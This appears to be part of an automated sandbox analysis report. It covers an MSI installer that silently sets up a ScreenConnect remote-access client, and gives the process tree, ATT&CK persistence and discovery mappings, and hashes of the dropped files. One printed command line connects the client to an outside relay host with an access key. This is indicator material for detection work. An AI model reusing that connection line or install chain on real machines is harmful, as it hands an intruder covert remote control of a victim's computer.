    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5084,i,698748135988865694,15775094191436751007,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:14
    3⤵
    PID:1824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=944,i,9380592787921515142,8207203634484268640,524288 --field-trial-handle=2632,i,8291599382679708576,18324719750980660266,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
    3⤵
    PID:720

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E06327EB43CEB7810930AD96B29517DA
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI32FD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240726875 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4396
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A4CAC195953703303C1EF62265C4E778 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2804

C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hitstp.com&p=8041&s=246b6137-0c44-4f79-a32e-e994f6bca89c&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe" "RunRole" "6ebff3b3-ea69-4334-a539-89b66c88b93d" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5148

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4184

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:6012

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2096

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59307f.rbs

Path C:\Config.Msi\e59307f.rbs
Size 214KB
SHA256 0a8903d8cacd70508af50333c2c485e9667135e99d503cd041956a591e3921b4
MD5 0399fe74c1d94613f6f6100a1a73bf02
SHA1 0dcfa40323b48a9d8bbdd0357e78ea17da09a637
SHA512 20481cd2ffd763f1cc0cbfd26dc4bdfc5acfd72ee7b65aa0e871fae46e0594e39c35aa6928e4d9dd366e92f9ba4c3c093dd960224f6904f79a015fdd038075c7
SSDEEP 3072:Fr9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGx:FruH2aCGw1ST1wQLdqvx
TLSH
T1E1248C216480807EE7FA1A32D93F9A61BE7DF6641760C59EC3848C1E9D604C06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources
Size 25KB
SHA256 08ef947cc485b9c7e02f0f0e2ab3d3769f307c366ee5658fa2ce7c42f824ebfd
MD5 694f1421d57a19dc5a82d4bc86d94e09
SHA1 ea57654ae14bc27ff824c8cef778c8422f956966
SHA512 3a38dc86725bfedc4d7ff1f2ff06f797ee8830b200c65c81e76756ccaf3720b73ffd12ffdc00564ffce7d2e5ef6727606031332da550a21d0548ff4a38157efb
SSDEEP 384:r5liAd3XjDoG0SBPuiOizFIXbeFFNvW8tFqx:vxtXjD70g2iOO+4nu8tFqx
TLSH
T196C239B528DCC99BC3AB4271AFB72AEDF1323FE8E3902315417842B19AF615456C0F95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources
Size 49KB
SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
MD5 9fc69f433805d115364f7fddeae45878
SHA1 36e93cc0f60688dd052c0b074fdd9e4dfa69c78e
SHA512 30fe97ce40cea06b68f11e426453b4e8eab06684c6921eeac52e3e737755afb18ce562b1acf799d4a3bbb767b2db1b25abe5d5abd0b72341a472213035a043b4
SSDEEP 1536:YU3a22xQvG6HpbkkyJIfmTkN/gFYA9JwdL4hhK71ATJKeParg9:YU3a22xQJHpbkkyJIfmTkN/gFYA9JwdM
TLSH
T10B331E1277FD0A58F5F36F05BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources
Size 28KB
SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
MD5 ed9f87bcf99cda39c847a5ebe755a4b9
SHA1 c7cd54935424494b50f132e016d448ecac6b58c3
SHA512 ef4194b7d0173056953e0a94544108b6c3634c1e0a6088a481fd663ad4d34db1f219d9f4cdb82c7116911c4d360cc6d2d9bb4fa57db9d4af68ab65abadba1ad1
SSDEEP 768:Mcfv39mCOVPZrXgTf6vEVm6zjpGYUElerG49:PfP4COVPZrXgTf6v0fzNGqn49
TLSH
T1CFD2E0CE33BAECADE67E6F7E39D94070123B6F022C625212B8061415243748D2B68F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll
Size 192KB
SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
MD5 b25e25d654607d0ef84403f836017731
SHA1 03f92b570ce070dae7146a390041804375c718c0
SHA512 a9ae00cafd369dfeb21d8ba3f62787c98bc4798e6d6c8ce9631b0f8c9caaecc8fcda78c76df0b74838aabcb308c7893a69a97d0fc1a87a78e485798bd98d5de0
SSDEEP 3072:r5jDSMscgsVrgI7uyGhsqVFJRTcyzvDqSmzDvJXYk:9DSM1VsIRYPJukqSmG
TLSH
T15D144CA663685D2AEADF4973B0506030CA75ED25A423F3DE4E04F9F919B33818E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll
Size 67KB
SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
MD5 df724b974bf67241993a75cf80ebd098
SHA1 7ea91f2529bed8e16f3e65bfc50677e46c21f8ee
SHA512 bcc9038b3e3b7ab3cea30ffa62ebb4145bfc6bff11ebd2ff4e94f59ef44aced0eb7928620421324a2ab89ae76d3677b30fd84889c220a9ee3021425c028eba5d
SSDEEP 1536:POZLdn4uRt3p/V1gwk5GEPVQoV3l7jg8bdy:PEqUJgxNtQoV1c
TLSH
T131632C02A3BD8A36C9EF5A787465F1450B708E02E463FB9CADCDA4DB1B563E1190139F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
MD5 b0d1b0112506eaf72c7154fef004225a
SHA1 3cb9cd6a9ceb37751ad16165865cb338be39bbee
SHA512 61505b015bb06ce935a5adaa55211a6b650cdb7cd60a6dcc2add8596fa674da11059763e965101ac3e59406f4bd54463f0c8555acf6b660f573a2cdccf0d5925
SSDEEP 1536:Dg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEdU0HM17RA7:shbNDxZGXfdHrX7rAc6myJkgEU0H+NQ
TLSH
T1AE936B13B5C28872D573093158E0DAB09A3FF9615E21DEAB3798022E4F642C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
TLSH
T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
Size 595KB
SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
MD5 e52d6ed40d9d4ae38f9a36af49eff819
SHA1 d72f163b9cd2ca20e913e64b69015217076e412f
SHA512 fe759aa56c5bbb0b5104102edd348c67a0420f7a9291348cf03ce31322d46dac52d4335e82a6eb415703a46d2b3c936452fab161535355a65458d95261b21846
SSDEEP 6144:GHv8AU89LWJ2dNq9jGyYSMCoI68zg/KWcA3rlz1vH5kqb1JCZ2cNI2/C4I159uvZ:ueCWEdNq4yP76wSPrlz1vHCqb10u9FK
TLSH
T1FDD46A62737CDA7AC5FF0779B0F11A2457B0E8226285E78F5804E5E90E963829D443FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll
Size 837KB
SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
MD5 a81497b417d4f67ea6cab399bd3a71f8
SHA1 5738c90789e62bf046024ceea96cbf2665bccd9d
SHA512 a43dbf305579b193d2897af0bd8cff528ea93b9fb93448b5cc6b43a6763ac16abb0752cf83d9b4ebbfc0a9d92084d12db3c69655f8ff424e53a4baa7fad4b781
SSDEEP 12288:tMYkEC5OqMuIyZiBP+6EEKNPQXnRHb+mZ:tfQ5ZMuIyZiBW61KSXRHb+I
TLSH
T138055B1BE79440BAC0ADC2B5C35BA736BBF6F4864514B28F07D40A227E6BF506B1D784
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config
Size 1KB
SHA256 184820b77dc6fc22b8a8bd7df71675dbc2a6d2e635c48adb71f3bc3cc0ed5bac
MD5 33e3d05f96c3f852c9a20bb8f3a12879
SHA1 8a989a1c7275e710099a6c135b889a6729efb993
SHA512 398b53c7450f40cf449a1a101ae0fe0a642d2d7268ed276eb421652054d692bbd1a4f5a32ee369f6e529ebfa15a0cf70a4f271fad8753fca1d9e4e9a4ae5ea7d
TLSH
T13121731DB4C0AF5915736632E63102D1ED7049231266A0E478DE3167AF70ACA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config
Size 940B
SHA256 3f0dca3ca0f948199949b32a56558ea0ef1af6f308f4319bd696adda97e98324
MD5 39d2d4e04fff095847b76b51fb7f3a76
SHA1 225492147a0c00f09a25034174f46c41d950bc93
SHA512 bb26082c6c39f575d4421cd4854f36966a024f3bbb6ddcca4de307d910d20afb5544742e473e9fbc39e11edea4d0f7c348a060472417ccbea1f7e579cff8787c
TLSH
T16711637131C0B95717335D62C6058BC0DDF2269F140620DC757F62760BB2AAB0BE3699
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

f_000090

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000090
Size 31KB
SHA256 5a76d2231ed8f84cb5936f8d3042f6c30b084d46646d9976969ec7939e8f0c54
MD5 701eefeb1fdb0fb7c4c621b5b096c8c6
SHA1 ec61e4d2ffebf7d72bdc430751d1abb87b920833
SHA512 cca1dfe210072cc0bcf4412c5a8da0be2c499bdcc7568ab2a56af98b6f8f0ccbcffc06bd8e3d239f57fa637a8065e97876b6f41c7880d1a88165c9846af7a545
SSDEEP 768:bNUgQpLqffj3oGFgoMiCK33K8MfqojuHuGbC0Og2FkI:bNcAk7k31A1jW2fg2FkI
TLSH
T1B4E2F13327838F5EDE3217B9E602D76F9B0EB363251E415449B0631EAA46450DF62E8F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 64782175b2c42f3c6aa22b268e565c1d8f3c7959a3d2971cfb55944dba429f49
MD5 c16bfcd49857e139ad222c234b234ffb
SHA1 abbd32cb93f9d47777cb7a82608e1e40325a3273
SHA512 21582cca6820fb97f07b0a72fbf22112f16119c380fae31f87cdbd3405858e4620b15129b33942365ba9744ab29d7c0bda67babf836010cb910335b21f8bf529
TLSH
T13171456B837109DFDB248E7992D0A44A3BF9E43DD6177E1551E7AEB0940AFC4D2D002B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a3ab8.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a3ab8.TMP
Size 3KB
SHA256 b679354fd5afbdd8cbc6e2490105fb90281aace4612055f2106e0b28670f7109
MD5 74bb2c2214877e2fe65a86111d3e6833
SHA1 949d29df3912c700b36913393eb8bb8cec81263a
SHA512 7b1bad0a891aba08fc4ee37548554b56651281f087d1174736f7b97859231f7d1ab94f804cc17334a36f2f3c1c7637b63a019f493621ba6a3839153059290047
TLSH
T17161309B935109DEDB258E7852D0F48E3BF8E47D8717AE1461E76DB0940AFC4E2E002B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 4308e6e4f3142feeb00c2e70b237636822933588e712952facab5e0db5b1542a
MD5 77878e75f46d5532fd4a59d65b3125fd
SHA1 a687f2765ca4d3494458e691135425a64c62f2ff
SHA512 8c2d6feb2025accb09761a699034877a254cf6f171007ac22ba1417167ddfb46e28f3d47a800c09082467a00a67417258db182a89c0cb68736c79e78a795446c
SSDEEP 96:DIOBJojuLvajatZqzvaE6ID3nD7VkFV0jDDwg9:DzBmjuLvajatZqbaE6ID3nD7VkFV0jDz
TLSH
T147C19CB7C2E48A2DCC2156F5A7257E2FCD190914532C3C2ACAE4BF5B93F2471E241A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 06e150dd1d67ffc2ee68486d5d076724fd3a57248f67d00376d4bf19a10c0091
MD5 780def525e68843e5825c8027e20bea3
SHA1 5f80a08d6688c38a247202a737cb0c6264a19c21
SHA512 60c08302c04385abd5d4ea32d03b7ec304a2dd0e3df119e27f453b2f3a4df97ba5f2a1ec0476ec3adb060bf96b3875b82383d72183aa6d018936a00bc18fe1c6
SSDEEP 192:sxRJRhC7/fXslDgphLZ1gnzoA8pXX/g6+WN2RO/eS/PCPoBCYvGeIgDRplVJJ:sxRJS7/fXslDgnl1gOn/5J/eGmk9B
TLSH
T1D342D656AE28AD7B5CC7D219FB55BF53D2F8103261D01E58A7FC9A1C14E7ADE220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 c90e2843940ecef5c319a31fb21bbe5aef6309b2c9c2c3de09d049001432c14b
MD5 2e0c1c8dd592f4bb9ebf207a2ddf0b68
SHA1 954438541ed69bab0c30a8927d21d7f1ad57f401
SHA512 fa26edae91be1f68fc33d239994ec531cea8b1e6a124becf1225444badefbdbc033b2202e8ca64b4b00278aa7643a4ebaf663347d32243b1076908f83011fa59
SSDEEP 192:sxRJRhC7/fXslDgpOLZ1gnzoA8pXX/g6+WN2RO/eS/PCPoeCYvGeIgDRblVJJ:sxRJS7/fXslDgIl1gOn/5J/eG3k9z
TLSH
T13E42D756AE28AD3B5CC7D219FB55BF53D2F8103261D01E58A7FC9A1C14E76DD220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 88c6f4bcde6fd5df4004f7dc1b95a53e0c3cbc56f0ed62ff214ae2258a7c6e34
MD5 c3738fe006a7ed93edd0e1a9224d8005
SHA1 1c888e23edcea51ebf6d4d478d122604440b6f33
SHA512 118c7c6b19d83c39f270a71eee36d725d8d18694736eba5be57899b5e333e457e38742f7d27f04326bbeffe38a853f142ea6dc5924e6287f07538517d2600a9a
SSDEEP 192:sxRWRhC7/fXsmgpOLZ1gnzoA8pXX/g6+WN2RO/eS/PCPoeCYvGeIgVlVJJ:sxRWS7/fXsmgIl1gOn/5J/eG3kF
TLSH
T16542D616AE28AD3B5CC7D219FB65BF53D2F9102261D02E58E7FC9A1C14E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 08cba353d0040b4a70dfe21107a141b6ecf6c2a74fcb14eb0f3fc1caa6e6450e
MD5 f4e323cdb5c685ac070a2f70a24d346b
SHA1 eefca73f6f05ffada811612a0c71ad18f2670fd3
SHA512 d0642edc4ad25feaeb64d940f43b186c5ac8c107fe99557a455f6adfc934361a7b9364231b557bc39ad4e905bb5c76d8b1476f15e4fdc7aeb90392318f36bff5
SSDEEP 768:j26HeS7pLuLf6RWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OV+4BVuwvro9Ce0z:j26HeqEf6RWgs2f02u1jad4B4w8RA
TLSH
T149D2DB7B740DCABF4F804ADDDC297E9E6D6802CB9698CD8047FD941C02C6BEA51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 19f2383602524047902b90329a9451b5b93be26b02a7a84f1822c1b3fabf36fc
MD5 919d7302ca37a68380df87dcabe78d2c
SHA1 c18338d67b1eae7f49a80f2cf4bc88d0c2d034f8
SHA512 e7ffe18e0a0c01a842d56fe9abdea8d57d465024432603cfc728dfb3f78c8f9f235d991f0f3811a9c7fba0bfb8912306a10b9613fa0dcdcfde5ff5e04ab8e889
TLSH
T1F9A0023101F48D52CC41027AE9D61AD8726259954991A21384AC5455B862550819A008
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a326b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5a326b.TMP
Size 48B
SHA256 ff564e30c631dcf1ecaea08da1c1300b268c2c595f78b03c452f2afbae0c9f2a
MD5 5657b2242fd17f4a4029547c027a8333
SHA1 7da1332603bfc1bf5f1925d1739369c8d1774db1
SHA512 d9d37bea6fdf926ccd0ae44b7b84def64d8ead631de2f89a76338881cfb6c6f2977665aeabb9700b4cffd3a219125d6f8fa45bd3267c31613ad9203a6b88487b
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\5e5c5dd9-bcd0-41be-912b-430220215834\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\7093a878-384f-47c6-b882-b358ae7d15bf\index-dir\the-real-index
Size 14KB
SHA256 a94658bdc77022e85d22efd33c00445c38fb70047086ad7ef2d39a2b43c05d06
MD5 752203f593e3e5cc5ad999a0b99ed4a5
SHA1 1ec15392a9e909ea85f418e7b4cf4aa5be057a90
SHA512 e3a79357160f747d3d806589aae48a64246fab6e22fc48809ee71c2dd5e49f3c94de5c1acfef005ecb41a94edbd8d6699388a35c6f7a613e2364cd81532963a0
SSDEEP 192:2Hc/ET/bv55Q6FLs1Xm8KNvzfhSPTI6oaNZIcw5gKs8i:QcGDrDLamvdSPGcZo5g
TLSH
T1C4523A9DDB335A78FBB9133E09C784181B3872507A041EFF52A6F5303AD312566825BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5b1b45.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\7093a878-384f-47c6-b882-b358ae7d15bf\index-dir\the-real-index~RFe5b1b45.TMP
Size 48B
